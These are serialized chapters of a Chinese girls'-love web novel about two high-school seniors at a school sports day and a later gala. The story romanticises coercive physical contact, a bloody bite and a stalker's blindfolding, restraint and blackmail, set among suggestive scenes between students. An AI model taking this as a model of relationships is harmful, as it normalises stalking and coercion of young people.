薄黎也放慢了脚步,等秦明烟跟上来,才慢悠悠地问:“不然?”
秦明烟说:“如果你不愿意,我可以再找其他人问问。”
“我怎么好意思让班长大人为我劳心劳力啊?”
“参加的人有班费出的奖金,不会找不到人。”
薄黎也压着眼皮有点不爽。
等走出篮球场,直接拽着人进了小树林:“刚刚是你求我的,我还没让你道谢,你就给我来后悔这一套?”
秦明烟紧张地看向树林外结伴的学生,脸色有些发白:“有人!”
薄黎也不满地转头看了一圈,拽着秦明烟往小树林里面走,直到找到一棵能挡住她们身形的树,才把秦明烟摁在上面:“秦明烟,你玩我呢?”
秦明烟摇着头,阳光从树影间过滤,在她身上形成分明的剪影。
她轻轻推着薄黎也,说:“今年的趣味运动会里,有一组项目会遇到泥潭,所以我想让你重新考虑。”
泥潭?
有点脏。
薄黎也开始觉得为难:“要不,你去找另两个人换我们?”
秦明烟说:“我是班长,换不了,我只能试着找个替代你的人。”
“只能换我?”
薄黎也笑了起来。
她上本身压过去,手掌温柔的贴上秦明烟的腰,像是抚摸鸟儿漂亮的皮毛:“这么为我着想啊?”
“我是担心你临时后悔。”
“放心,我答应了就不会跑。”
秦明烟看着瘦摸起来却很软,呼吸浅浅的,抱久了让人忍不住心猿意马。
她凑到秦明烟的耳边,净挑着秦明烟受不了的话问:“上次的吻痕怎么没了,被你擦掉了?”
秦明烟抓着裙边的手蜷缩:“时间久了会消失。”
薄黎也像是突然恍然大悟,拖着调子懒洋洋的说:“哦,原来是因为时间太久了啊,那你怎么不让我补一个?”
秦明烟顿时变得慌张。她的头往后靠了靠,试图把自己藏起来:“不要了,真的会被人发现。”
薄黎也任由秦明烟挣扎,然后勾着她的腰,轻而易举的重新揽近了:“别动,后面有我们班的同学走过来。”
秦明烟顿时绷紧了全身,一动不动,感受到眼皮忽然被人亲了一下。
湿湿的,软软的。
还很香。
秦明烟愣住。
薄黎也压着秦明烟的动作,在无形之中给人一种难以抗拒的压迫感,她趁着秦明烟愣怔的时刻,忽然挑开秦明烟的衬衫领扣,吻了下去。
散开的领口灌进傍晚的凉风,秦明烟轻轻吸着气:“你别……”
薄黎也听到秦明烟心脏加快的跳动声,笑了笑,又问:“亲在这里还是亲在耳朵上,你自己选一个?”
秦明烟依旧挣扎着。
薄黎也索性不问了,随心所欲的在粉红皮肤上吸了会儿,用舌尖去轻轻的舔,把吻痕舔得越来越红,直到显出明显的色泽,一种满足感油然而生,这周的学习压力仿佛都被抚平了。
“这样才乖嘛。”
薄黎也又抱了会儿才松开秦明烟,重新帮人扣好衣服,指尖撩了撩垂下的发丝,餍足地说:“走吧,去我家。”
然而半个月后,当薄黎也被秦明烟抱进人偶服,连胸口都被撞得破了皮的时候,她才开始后悔参赛的事情。《 》
13、第十三章
运动会夹在国庆小长假和第一次模考之间,相比较完全沉浸在赛场的高一高二年级,高三这边就显得安静许多。
高三看台上有三分之一的学生拿着复习资料,只有在朋友去参加比赛时,才会放下书本加油助威。
薄黎也跟顾白帆她们坐在一块,百无聊赖地度过运动会的前两天后,第三天下午,校董在看台上依次宣读各组趣味游戏的规则。
泥潭游戏早就被体育老师透露出来,在公布的时候,也成了议论声最多的游戏。
台上的校董听到学生们的话,一手拿着规则卡片,另一手拿着大号的笔形玩偶:“泥潭游戏将由五人组,两组互相对决,从规定的时间内,能从看台上摘得最多‘笔’,并带回各组阵营的队伍获胜。”
校董的话刚说完,薄黎也就听到顾白帆的哀嚎声:“能不能戴口罩啊,这要是被人拍下照片,我还见不见人了?”
薄黎也忍着笑,忍得肩膀都发抖,气得顾白帆把她面前的零食全抢走了。
薄黎也没抢过她,指着她骂:“幼稚鬼!”
顾白帆立刻扮了个鬼脸:“你不幼稚,那你跟我换啊。”
薄黎也得意的摇头晃脑:“是谁当初嫌弃双人组比赛的?现在想换?晚啦!”
校董依次公布其他几组的游戏规则,每一个都跟泥潭的级别不相上下。越到后面,甚至连被众人嫌弃的泥潭都成了香饽饽。
“双人组的比赛规则相对于前几组都比较简单,大家应该都玩过两人三足的游戏,我们这次的游戏名称叫‘两人两足送鸿毛’。”
“我们会给参加比赛的同学提供足够能装进你们的人偶服,两人要共用玩偶的手脚,而要被运送的三片羽毛,则会被装在罐子里,挂在人偶的胸前。中途一旦掉了一片,就要原地倒退两米继续,用时最少的队伍获胜。”
各个班级都有爆发出笑声,参赛的学生脸色是一个比一个精彩。
顾白帆直接笑趴在薄黎也肩上:“哈哈哈哈怪不得双人组的比赛每组都必须要同性别的人参加呢,这要是一男一女,一场比赛下来,不得立刻早恋啊?”
她边说边把薄黎也的零食塞回去:“不就多摔几次被人多拍点照片嘛。听说趣味运动会加分比之前的比赛还要猛,咱们班的荣誉可就靠你们了。”
薄黎也想像了一下画面,一张精雕细琢的脸顿时黑成锅底:“我们换换。”
顾白帆学着她刚刚的态度摇头晃脑:“不行啊,我们幼稚鬼就适合去泥潭里打滚,现在想换啊,晚咯,晚咯!”
薄黎也和秦明烟被分到了最漂亮的玲娜贝儿,人偶服的支撑性很好,比迪士尼用的要大上一些,够塞进两个人,但也拥挤。
人偶服的视野有限,薄黎也不愿委屈自己,为了能看到路,要求站在前面,秦明烟则站在她的后面,当人偶服被拉上时,两个人几乎从头到脚都贴近在了一起。
“要练习试试吗?”秦明烟的声音很轻,即使已经很克制,还是让薄黎也背后打了个热颤。
太近了。
实在是太近了。
近到她能清晰的感受到秦明烟说话时的每一丝气息,拂得她发痒。
薄黎也有些受不了,感觉自己完全处于被动,又不愿意换位置,于是很凶的说了句:“你在后面看不见路,听我指挥就好,不要影响我。”
耳边的气息瞬间消失了,听到秦明烟很轻很轻的一声:“嗯……”
前面五人组的泥潭赛已经开始,其他组将依次按照校董的公布顺序进行,给足了双人组练习适应人偶服的时间。
人偶服看似能装进两个人,但人偶供踩脚的位置并没有被拓宽,两个人每走一步都会踩到对方。练习了十分钟,摔了不下二十次,
除了玲娜贝儿,旁边的米奇和唐老鸭同样战况惨烈,反倒是一组人偶明显给男生准备、高了不少的孙悟空,能连贯的走上十来步,走路姿势倒是如出一辙的滑稽。
以至于比赛正式开始时,引来看台上热烈的欢呼:
“玲娜贝儿好萌啊,这是哪个班的?”
“快看快看,旁边的唐老鸭怎么这么快,是因为它的鸭掌比较大吗?”
“唐老鸭跑得都要飞起来了!”
“大圣!大圣你的金箍棒掉了!”
“哈哈哈我就知道达菲不行,谁在里面操控啊,怎么笨头笨脑的,才走出去两步就摔/羽毛,哎!快把羽毛捡回去啊。”
薄黎也听到这些声音,看向比她们快了有三米的唐老鸭,好胜心被彻底激发。
场上的人偶开始接二连三的摔倒、后退、重来。
薄黎也和秦明烟摔到第四次的时候,已经跟第一名的孙悟空拉了有五米的距离,更别提她们的羽毛还掉了一片,需要倒退两米重新开始。
撑着地面坐起来时,薄黎也有些不甘心,重重的垂了一下地面。
秦明烟像是料到薄黎也的小脾气,在薄黎也捶地时忽然伸手垫了一下,把薄黎也吓得不轻:“你手怎么样,没事吧?”
“没关系。”秦明烟顺势拉上薄黎也的手,在拥挤闷热的人偶服里喘了口气,问,“我有一个办法,要不要试试?”
潮湿的气息撩在耳畔,薄黎也看了眼她们的姿势,摇头说:“不方便换前后位置。”
秦明烟说:“不是,我抱你走。”
“要帮忙扶吗?”人偶外一直关注着她们的学生也在这这时候关注到她们,盖过了秦明烟的声音。
秦明烟的声音平稳的从人偶服里传出去:“没事,刚刚腿有点抽筋了,我们调整一下,马上就好。”
外面的人说:“好,一定要注意安全。”
秦明烟说:“谢谢。”
秦明烟又凑上来问薄黎也要不要,嘴唇几乎贴着薄黎也右耳的敏.感处,薄黎也只想赶紧从人偶服里出去,无比烦躁:“随便你用什么办法。”
秦明烟说:“好,你先放松点。”
“放松什……喂——”
在薄黎也发出尖叫声前,秦明烟精准的捂住了薄黎也的唇,呼出的气息也因为刚刚的动作变得粗重。
薄黎也难得没有怪罪秦明烟的冒犯,只觉得脸颊一片滚烫。
因为在秦明烟说完让她放松身体的话后,秦明烟搂着她的腰直接把她换了个方向,面对面的抱住了她,两只手牢牢的握在她腰下的位置。
就跟那天在桦水弄堂一模一样。
只要秦明烟抱稳了她,在人偶服里,就不会出现互相绊踩的意外。
秦明烟已经站稳,人偶内的空间有限,她的下巴刚好贴在薄黎也胸口的位置,眼睛勉强能看到前方。
她低声说:“你还好吗?”
薄黎也当然不好,这样被动的位置让她十分不满。可秦明烟已经站起来,想要再调换位置,已经会被看台上的人发现端倪。
她只能尽可能的把自己蜷缩起来,咬着牙一个字一个字地说:“我、很、好。”
秦明烟当了真,开始迈动步子:“好。”
一个人走果然比两个人快上许多,但因为秦明烟在‘负重’行走,速度无法提得太快。
薄黎也的整个人都贴紧在秦明烟的身上,像是攀附着一叶扁舟。秦明烟跑起来时带着喘息的唇,和高挺带骨的鼻梁,都存在感都极其强烈的一次次碾过她的脖颈、锁骨、心口。
就连手脚和衣服摩擦带来的不适,都可以忽略不计。
“我超过了米妮。”
“孙大圣也在我们后面了。”
薄黎也背对着看不见路,秦明烟每超一个,就跟薄黎也汇报一次。
比赛前薄黎也脱掉了外套,只剩下薄薄的一层校服衬衫,就算加上里面的一层,娇嫩的皮肤也受不了这样的对待。
“知……知道了。”
薄黎也尽力的放松自己,把后背躬起来,试图让上半身跟秦明烟拉出一段距离,可她力气本来就不大,又被养得娇气,坚持不了多久,圈住秦明烟的手脚都开始发抖。
手臂的力气逐渐丧失,人又重重靠了回去。
秦明烟听到她轻微的倒吸声,脚步慢下来:“还坚持得住吗?”
“是你逞强抱不住我了吧?”
薄黎也的嘴上绝不落下风:“拿不到第一你这个星期的补课钱就没了。”
她的眼尾已经染上了一层鲜艳的红,眨动的睫毛湿漉漉的,正要缓一口气,在秦明烟忽然加快的脚步声里,忽然咬紧了自己的唇。
秦明烟听到声音:“你怎——”
薄黎也的声音更凶了:“你别说话!”
她的心脏受到刺激,火辣辣的疼,似乎是破了皮,却只能徒劳的被困在运动会的赛场。
渐渐的,操场上起了风,呼啸声挂过人偶。
有几组胸前的羽毛被顺势带出来,加上风迎面的阻力,速度都慢下来,比赛正式进入焦灼期。
秦明烟的脚步不得已变慢,感受着人偶服中的薄黎也像大号娃娃一样任由自己摆弄。那浑身的温度不断的上升,就连扎起来的长发也乱了,湿哒哒缠在她的脖子上。
像是一根触手,温柔的紧紧的拴住她。
牙齿上还残留着柔软的触感,比她亲吻过的嘴唇还要软。以她双眼几乎跟薄黎也肩膀平齐的姿势,只要她想,她的牙能轻而易举的再撞到薄黎也。
比如现在。
“呜……”薄黎也紧咬着牙,从喉咙里发出一声极其轻微的哭腔。
秦明烟又试了一下。
薄黎也的声音跟着重了一度。
右侧好像被欺负得比较狠,如果她一直保持这个姿势,等结束的时候,会不会看起来就跟左侧不一样了?
白衬衫的颜色那么浅,里面肯定也是浅色,万一透出来,其他人也会忍不住盯着看吧?
秦明烟轻轻叹了口气,只能先放过这一边。
她重新稳住声线,对薄黎也播报游戏战况:“唐老鸭只比我们快一米了。”
薄黎也几乎磨着牙:“那你……还不、赶紧、超了她?”
秦明烟轻缓的勾起唇角,遵从命令:“好。”
这阵风过去后,她重新掂了掂薄黎也,加快速度,借着跑步换了个方向,鼻尖顺势抵在左锁骨下方。
一样很软。
一样很香。
明明刚刚还凶得跟只小猫似的张牙舞爪,现在又因为胜负欲,乖乖的配合她靠在她身上了,像是主动投怀送抱。
好想张嘴含进去啊。《 》
14、第十四章
过终点线的那一刻,人偶服重心不稳的栽倒在地上,胸前挂着的羽毛飘散出来,到处都是为她们胜利的欢呼声。
“玲娜贝儿!是玲娜贝儿赢了!”
“我记得玲娜贝儿是高三一班的吧,双人组第一能加20分呢,这回她们总分可能要追上来了。”
“我就说这个游戏女生更有优势吧,赌唐老鸭赢的赶紧给我买奶茶,我要最贵的!”
人偶服里,薄黎也被秦明烟严丝合缝的压在身下。摔倒的时候秦明烟用手垫着她的后脑,可突如其来的冲击力还是让薄黎也头晕眼花,尤其她身上还压着一个秦明烟。
两人跌倒在地上,奔跑后,刚冲过终点线的人呼吸都很急,秦明烟的气息难得灼热,每一口都烫得厉害,像是催化的火苗,使得薄黎也刚刚在赛场上受伤破皮的地方源源不断的被燃烧。
越烧越旺,越烧越痒。
薄黎也难耐的喘了口气,试图推开秦明烟让跌倒的人偶服重新站起来。
可她刚有动作,秦明烟就很小声的闷哼一声,薄黎也瞬间不敢动了。
“怎么了,你受伤了?”
秦明烟的声音明显带有滞涩:“脚有点抽筋,可能是摔的时候拉到了,我缓缓就好。”
她的眉心紧紧蹙着,从薄黎也的角度看,眼睫毛一颤一颤的,似乎真的很疼。
想到比赛的胜利,薄黎也只能在赛场上勉强忍了,让秦明烟继续靠在她休息,默默忍受秦明烟跑步后灼热的气息。
明明没有实质性的触碰,密集的神经好似被不断的撩拨,越来越兴奋。
这种感觉令薄黎也陌生,更令她羞愤,无论是再轻微的气息,都能被放大数倍。
就在这时,人偶外有她们班的学生围过来,一句一句的关心她们的情况,甚至还有不少人主动拉动玲娜贝儿。
薄黎也压住自己颤栗的嗓音,努力让声音保持平静:“你们先等等,秦明烟的腿抽筋了,让她先缓一下。”
外面的声音传进来:“好,要不要给你们递两瓶水,或者帮你们摘了头套?”
“不用。”她们的姿势不违反游戏规则,但并不方便示人。
“好,那我们等你们哦。”
外面又传进顾白帆贱兮兮的声音:“薄黎也,你该不会摔了太多次摔得衣衫不整,所以不敢见人了吧?”
“我连满身是泥的样子都被他们拍了很多照片,你也牺牲一下让我们看看嘛。”
“是啊,别拿咱们三好学生当借口啊,分明是你自己要面子吧?”
“秦明烟,你别惯着她,你说句话啊。”
被点到的秦明烟抬起了头。
狭窄的视线里,秦明烟的瞳色很深,像是绽放着和呼吸一样炽烈的热意。薄黎也被这道目光烫了一下,低头认真去看时,又好像什么也没有。
只听到秦明烟用略低的声音说:“是我腿抽筋了,已经缓过来,谢谢大家的关心。”
“你们没事就好,你们打算在这里脱衣服还是去卫生间换?”
秦明烟又看了薄黎也一眼,说:“去卫生间吧。”
外面顿时传来一阵惋惜的叹息。
借助外面人的帮助,薄黎也被秦明烟拉了起来。
去往更衣室的路上,两人谁也没有再提要用赛场上的那个姿势,薄黎也几乎是踩着秦明烟的脚,缓慢的倒退。
人偶服里变得异常安静,两人像是两个陌生人,谁也没有开口。
但薄黎也不知道的是,秦明烟套进玲娜贝儿手臂位置的双手,正握得紧紧的,拼命的抗拒着身体本能。
像是一条搁浅的鱼,一次又一次贪心的想要从薄黎也身上汲取水分。人是贪心的动物,一旦拥有过以后,就会想要更多更多,过了终点线后,她已经自私的为自己争取了半分钟。
当薄黎也发丝上的香味飘过来时,她只能抿住唇,试图从上面残留的触感,短暂的缓解对薄黎也的渴求,连呼吸都不敢太重,生怕惊扰了薄黎也。
直到走进卫生间的隔间,秦明烟才终于控制好所有的情绪,主动抬手摘了沉重的头套。
清新的空气一经灌入人偶服,在瞬间驱散了闷热。白色的灯光打在眼上,秦明烟还未能缓解眼睛的不适,薄黎也忽然掐住她的脖子吻了上来。
唇上猝不及防的温热和柔软让秦明烟直接愣怔住。
可仅仅只是两秒,唇上便传来一阵尖锐的刺痛感。
鲜咸的血破皮而出,薄黎也丝毫没有松开,反而把秦明烟掐得更紧,她感受着秦明烟的挣扎与害怕,比她刚刚在赛场上感受到的多上好几倍。
直到彻底发泄出心头的不满,薄黎也才推开秦明烟,像是丢开一个无关紧要的玩具。
然后一边用手背粗鲁的擦着唇,一边暴力的脱下玲娜贝儿服。
彻底从衣服出来的时候,薄黎也踢了一脚秦明烟的小腿:“看我干嘛,还不赶紧?”
秦明烟唇上被咬破了两块,鲜红的血几乎抹透了唇,又红又狼狈,只敢低声说一句:“对不起,刚刚赛场上是我太着急,不该抱你的。”
薄黎也咬秦明烟自然不是因为这个,然而更真实的原因她无法说出口,直接拿过挂在这里的校服外套,甩门走出去。
洗手台前,冷水淅淅沥沥的冲刷着薄黎也的手背,血迹渐渐被冲刷干净,胸口的异样感也在逐渐消失,从那种诡异的酥痒感,化作轻微的刺痛。
她抬起左手,胳膊压了压自己的胸,刺痛感更加的明显。
恐怕真的被磨破了皮。
薄黎也的下颚忽然绷紧,关掉水龙头就打算离开。
在这时,手机屏幕忽然亮了一下。
是那个觊觎她的偷窥狂,看着她跟秦明烟完成双人游戏,又再度发了疯:
【乖乖,你跟秦明烟刚刚在人偶服里有没有做坏事?】
【真想让那个该死的秦明烟消失啊,她什么都不会,怎么能满足你呢?】
【我的乖乖什么都是最好的,自然也值得最好的人啊】
【我来找你好不好?我会把她的痕迹全部掩盖掉,让你全身上下都沾满我的气息好不好好不好好不好?】
薄黎也离开卫生间的脚步猛然停住,她迅速折返回去,找到刚刚换衣服的隔间,大力拍门:“秦明烟?秦明烟!”
秦明烟的声音隔着门应了一声,问:“怎么了?”
像是一粒定心剂,薄黎也逐渐镇定下来,给偷窥狂回了信息:【你这只阴沟里的老鼠,你不敢来的】
对面很快回复过来:【乖乖,你是在激将我吗?我们网恋了那么久,其实你也喜欢我是不是?】
薄黎也简直要吐了。她催促秦明烟:“要宣布各班运动会总分了,你快一点。”
秦明烟应了声‘好’。
再半分钟后,秦明烟终于走了出来。身上已经穿好校服外套,就连头发也被整整齐齐地重新束好,手里抱着叠好的人偶服。
唇上的血迹已经被擦试干净,唯有纤细的脖子上还残留着未擦去的晶莹汗珠,点缀在冷白的皮肤上,宛若一场雨夜后的白蔷薇,纯白,干净,诱人采撷。
和那个可恶的偷窥狂完全不一样,她突然不想把这样的秦明烟带到那个偷窥狂面前了。
薄黎也抬起手,对秦明烟招了招:“来。”
秦明烟走过去,在距离薄黎也半米距离时,似乎想到了什么,害怕的往后退了一步,问:“不走吗?”
薄黎也看着秦明烟动作,不爽的压了下眼皮,伸手去拉人。
秦明烟又后退了一步,让薄黎也抓了个空。
薄黎也面无表情地盯着秦明烟的鞋,是生气的前兆。
秦明烟的头低下去,小小的往前迈了半步,白皙的指尖轻轻的握了一下薄黎也的掌心,声音变得很轻很轻:“还有什么事情吗?”
薄黎也在瞬间被取悦了,连带着胸口还持续着的疼痛也不跟秦明烟计较。她牵上了秦明烟的手,语气柔和下来:“怕我又咬你啊?”
“待会还要见人,等放学好不好?”
“放学了就什么都可以?”
秦明烟摇头:“……不。”
明明应该继续计较的,可对着这样的秦明烟,薄黎也的心脏都像是微微下陷了一块,嘴角不自觉的扬起。
她用另一只手点了点自己的唇,慢慢悠悠地说:“你讨好我一下,我就不跟你计较刚刚……摔了我那么多次的事。”
秦明烟的睫毛剧烈的颤动两下,眸光都是乱的。
薄黎也就这么站着等秦明烟,大有一副秦明烟不照做,她就会立刻惩罚秦明烟的架势。
秦明烟终于动了。她缓慢的,无措的,颤抖的,轻轻吻上薄黎也的唇,蜻蜓点水一般,又迅速移开。
刚亲完甚至还闭上了眼,纯情得不像样。
明明在桦水弄堂那样冒犯的亲过她,明明在赛场上敢那样大胆的抱起她,现在亲她的时候,又像是个情窦初开的少……
等等。
薄黎也重新打量起秦明烟,从细微颤抖的气息中,一个荒谬却又符合逻辑的念头逐渐浮上来。
她凑到秦明烟的耳边,笑得有些得意:“秦明烟,你是喜欢上我了吗?”《 》
15、第十五章
秦明烟的肩膀一瞬间绷紧了,向来不擅长说谎的三好学生连个‘没有’都说不出口。
薄黎也勾唇哼了声,这声音很轻,像是并不在意秦明烟回答与否。
她愉悦的眉眼间已经流露出满足和得意。
毕竟除了她,再没有人能让秦明烟露出如此慌张与纠结的神色。
“我这么坏你都能喜欢上我啊。”
薄黎也抚摸着秦明烟的脖颈,感受着颈动脉在运动后有力的跳动,好似把秦明烟蓬勃的生命力都攥在了掌心里。
她倾身亲了亲秦明烟的下巴,思索着今天在秦明烟的哪个部位种吻痕:“给你个奖励好不好?”
就在薄黎也以为秦明烟要沉默到底的时候,她的手忽然被拉住。
薄黎也撩起眼皮,懒懒地瞥向秦明烟。
她没等来秦明烟推开她的动作,而是等来了很轻很轻的一句:“你不坏,不要去听那些本就充满恶意的评价。”
薄黎也怔了一下,险些以为自己出现了幻听。
“你在说什么?”
秦明烟拉着她,一字一字的重复:“你不坏。”
薄黎也和秦明烟对上视线。
她的家境太好,以至于她从小就能轻而易举的得到别人得不到的资源,她骄纵,她任性,拥有这么好的条件,还成为不了她爸妈圈子里的神童,还成为不了老师期望的三好学生。
她爱打扮,爱玩,甚至在朋友们找异性谈恋爱的时候,离经叛道的盯上了秦明烟。
她恶劣的性格在对待其他人时即使有所收敛,也让很多人都不满意。在面对秦明烟的时候,几乎没有委屈自己。
可是此时此刻,秦明烟却一本正经的跟她说,她不坏。
像是被什么东西浅浅的刺在了心头最柔软的地方,原本还想继续嘲讽秦明烟的话全然被咽回去。
薄黎也甩开秦明烟的手,那套叠好的人偶服也被她甩到地上。她看着地上的狼藉,心生烦躁:“收起你好学生那套光正伟岸的东西。”
秦明烟蹲下身去捡人偶服,很轻声的说:“我不是……”
“不是什么?”
薄黎也感觉自己也乱了:“你就是我一个招手就来的玩具,你不会以为被我亲过几次就是我女朋友了吧?谁允许你对我评头论足了?”
秦明烟整理玲娜贝儿的动作停下来,骨节分明的指骨紧紧的在粉色绒毛上抓了一下,关节用力到有些发白。
“我知道的,你愿意帮我让我去做你的家教,已经给我带来很大的帮助。其实班里的人,尤其是一块跟我从一中转学过来的人都挺感激你,感激你在转学初为我们申请的单人寝室……”
“够了,闭嘴!”
薄黎也最受不了别人跟她这么说话,在原地绕了两圈,脸色变得极其不自然。
“帮你们换单人寝还不都是你们一中那群人事多嫌四人寝太吵?一个个都嫌单人寝贵,只能把我们的换给你们了啊。”
就因为这事,夏一雯偶尔中午去寝室睡午觉回来,都会跟薄黎也抱怨四人寝的空调风小不够凉快。
秦明烟被这么指着骂,没有半点儿的怨意,抬头时一双眼睛清澈澄滢,隐约还带了点笑意。
薄黎也偏开头,直接捡了地上的头套往外走,不想再在这个卫生间多待一秒。
发短信的偷窥狂并没有在外面,她跟秦明烟一前一后把人偶服送回去,然后赶去主席台参加这次运动会的结业式。
一班的最终总分排在了年级第二,排第一的七班体训生多,直接拉出他们将近四十分。
运动会后,正式进入备战一模的学习氛围,就算是那些早就被家里安排好出路不需要经历高考的学生,也在这样的氛围中自觉收起了手机,不再影响身边人。
十月底,沪城一中开启了数学竞赛的赛前辅导,海川之前从未有过进国赛名额的学生,便把拿到国赛名额的学生周末送去了一中上培训课。
薄黎也第一次送秦明烟过去时,下车在一中逛了一圈,遇到一位认识秦明烟的女人抱着文件夹,路过的时候往她们的方向多看了两眼,似乎在辨认。
然后走过来打招呼:“秦明烟,还记得我吗?”
秦明烟侧过头,礼貌的打招呼:“罗老师。”
“之前我休产假,回来时他们说你已经转学了。”
罗雪茵穿着一条过膝的棉质鱼尾裙,上身是同色系的针织衫,长发半扎半散,鼻梁上架着一副细边框的银丝眼镜,说话时极其温柔,却又不会过分亲昵,把距离感把握得刚刚好。
秦明烟说:“是,我现在在海川。”
罗雪茵脸上有明显的愣怔:“你真去了那个私立的海川?”
秦明烟点头,说:“是。”
罗雪茵的表情有些不太自然:“你怎么会转去海川那种学校?”
秦明烟的声音淡下来:“罗老师,海川很好,它成立的时间并不比一中短多少,师资力量也很强大,校长同样重视高考的升学率。”
罗雪茵这才意识到自己的失言,赶紧道歉:“对不起啊,我没具体了解过海川,你既然已经转学,老师希望你以后能顺利。对了,你是来上竞赛辅导班的吧?这学期有很多大学会放出提前保送的名额,你可以提前关注。”
秦明烟似乎并不感兴趣,罗雪茵之前就觉得这个学生的性格太冷,没聊两句就离开了。
人走后,秦明烟解释起罗雪茵的身份:“是我高一的英语老师,她之前也是一中毕业的,后来考入燕大外语系,本硕连读后回了一中任教,会比较偏向一中。”
薄黎也诚恳的说:“她很优秀,这很正常。”
偏向一中是一件很正常的事情,就像刚刚她们一路逛过来的荣誉墙,比海川墙上贴的丰富不知道多少倍。
现在在学校里看起来差不多的学生,再过上几年,都会发生翻天覆地的变化。薄黎也罕见的话少,安静的走了一路。
直到临近培训的时间,薄黎也被司机送回家。
下车时,在停车场看到了一辆许久未见的黑色奥迪a8。
车窗摇下来,露出薄婧娴的脸。
薄黎也满脸意外的喊了声:“妈妈?你怎么回来了?”
薄婧娴的眉眼跟薄黎也有相似之处,棱角在多年的工作中显得更加冷漠,下颌到唇角的弧度干净利落,她看着薄黎也的打扮皱了下眉:“去换套像样的衣服,晚上带你出去吃饭。”
无非都是那种场合,薄黎也刚从一中那种干净的环境回来,下意识有些排斥:“我今天不舒服,能不去吗?”
薄婧娴怔了一秒,直直看着薄黎也。
薄黎也看向车头的方向,执拗的眸子自然而然地透出青春期的叛逆心。明明眼神还是那么清澈,可不知道从什么时候起,跟薄婧娴的对话再没有了以前的温馨。
“是不舒服,还是不想去?”
薄婧娴打开车门走下来,脚上的鞋跟让她比薄黎也高了几公分,从上而下地俯视着她的女儿,“你不想去,有的是人愿意当我的儿女。”
薄婧娴往家门的方向走,丢下一句:“想通了就进来,不然你也别回来了。”
薄黎也深深的呼吸,感觉心口被什么东西压得喘不过气。她看了眼车外的大门,却怎么也走不过去。
半晌,她僵硬着转过身,进了家门。
晚上,薄黎也穿着能让薄婧娴满意的白色礼服裙,站在薄承的身边,看着台上的薄婧娴侃侃而谈,在话毕时举起酒杯:“感谢诸位对我们工作的支持,愿我们共建产城为民普惠。”
璀璨的吊灯映照在碰撞的酒杯上,薄承一身跟薄婧娴相配的灰色西装套装,在薄婧娴下台时带着薄黎也走过去。
其他企业的高层端着酒杯上来攀附打听这次项目具体的规划,薄婧娴四两拨千斤的带着话题,又听他们夸赞那句熟悉的:“事业有成,家庭美满。”
薄黎也端着酒杯,一口接着一口的跟上她爸妈的频率,看着和她妈妈看起来意向相合的人招来他们的儿女,便主动上前打起招呼,无论是衣着打扮,还是动作言行,都挑不出一丝错。
直到她爸妈寒暄结束,她再礼貌的向同龄人回以微笑,然后又跟着接待下一对夫妻。
直到跟薄婧娴一位聊得很是投缘的女士招来她的儿子,那人主动向她伸出手:“薄小姐,我们又见面了。”
薄黎也在脑中过了一遍,勉勉强强记出眼前人的身份,是个军三代,姓周,曾经也就读于海川。家里有人下海经商。薄黎也在她妈妈含笑的目光中伸出手:“你好,周学长。”
好在对面这个人跟她一样,也是被带来展现家庭美满的摆件,在对方邀请她去甜食区用餐时,薄黎也看向薄婧娴,得到了允许。
从那个令人窒息和晕眩的包围圈中走出来,薄黎也和身边互相加了联系方式后,故意不小心撞到对方的酒杯,浅色的香槟洒向她的裙摆。
对方忙拿过桌上的纸巾递给,连声道歉:“学妹,实在抱歉。”
这本来就是薄黎也故意的,但她脸上还是露出了尴尬的神色:“不好意思,我去趟洗手间,失陪一下。”
随后她走向洗手间,终于逃开这个场合。
微信里最后一条消息是在半小时前,那时她告诉秦明烟今晚不用去她家给她补课,并随手拍了张入场前的照片。
秦明烟一直没有回复,薄黎也不合时宜的想,秦明烟现在会在干嘛?
她向来不做猜测,直接给秦明烟发去消息:【你在干什么,怎么不回我消息?】
这一回,对面回复得很快,是一张写满数学公式的黑板照片,并回复:【还在上课】
若是换成之前,薄黎也肯定要感慨一句学业的繁重。但此刻她看着那张黑板照片,竟觉得比她所在的环境要顺眼很多。
薄黎也重新整理好衣服,正要去洗手台,变故突然降临。
一只手从后面紧紧的捂住了她的嘴,骨节分明的手指掐进她的脸颊,直接把她拖回刚刚的隔间。
薄黎也刹那间剧烈的挣扎,对方的动作比她更快,早就被准备好的一条领带直接蒙在她的眼睛上,落锁的‘啪嗒’声随即降下来。
灼热的呼吸舔舐在耳边,对方兴奋的喘息声令薄黎也的脸色在瞬间一片惨白。
“你看上刚刚哪个人了?是不是要跟他们联姻?”
这……这人是?
薄黎也用尽全力的挣扎,去拍、去踢动隔间的门。
对方却丝毫不怕,双腿轻而易举的夹住了她踢动的腿,上半身则下流的贴上她的后背,沉沉的,发出餍足般的叹息:
“乖乖,抓到你了。”《 》
16、第十六章
“呜——呜——!”
薄黎也拼了命的挣扎,被拖得越来越往里,离隔间的门越来越远。
“乖乖,我有没有警告过你不准跟别人接触?你刚刚被那么多人摸了手,你说,我要怎么惩罚你?”
身后人的声音沙哑,像是一台老式的收音机,只能依稀辨出是个女人。
“唔!唔唔唔!”
“别喊啊乖乖,你要把他们都喊过来吗?你是不是忘了我手机里有很多你偷偷早恋的照片?你妈妈这么完美的一个人,能容忍自己的女儿早恋还把人带回家吗?”
身后人松开她的嘴,手指抚上她的嘴唇,轻轻按了两下:“你或许只是挨一顿骂,秦明烟可就会被立刻转学了,连带她医院里那个妈,出了事可怎么办呢?你可就变成杀人凶手了。”
薄黎也的身子顿时一僵。
捂在嘴上的手已经彻底松开,薄黎也却没有再发出一点声音,她的眼睛被人蒙住,只能隐约看到灯光。
将近半分钟的沉默后,薄黎也颤声问:“你到底想要什么?你要是在这里对我做了什么,我爸妈一定会发现,你跑不掉的。”
“所以我今天只是来跟乖乖见个面。”
身后人的气息又贴近过来,每每即将贴上来的时候,又会远离,就像一条阴湿的蛇,一点一点的放大着她的恐惧,却又迟迟不下口。
“乖乖,我听到你妈妈打算把你送去美国,打算让那个姓周的照顾你,说你们未来几年能好好培养感情。”
身后人的语气温缓下来,却又带着藏不住的阴暗嫉妒:“刚刚他摸了你的手,你吃了他给你的蛋糕,你们笑得那么开心,明明是你先背叛我的,怎么还害怕了?”
秦明烟曾在这家酒店打过工,身上还穿着服务员的衣服,把薄黎也的一举一动都看在眼里。
“你妈妈不会要你们联姻吧,你告诉我,你喜不喜欢他?你会不会跟他谈恋爱?”
秦明烟从背后圈紧了薄黎也的腰,下巴搁在薄黎也的肩头,几乎就要发疯了。她看到薄黎也给她发微信,给她发穿着漂亮礼服的全身照的时候,她就恨不能立刻从教室里飞过去,抱着薄黎也不让任何人窥探。
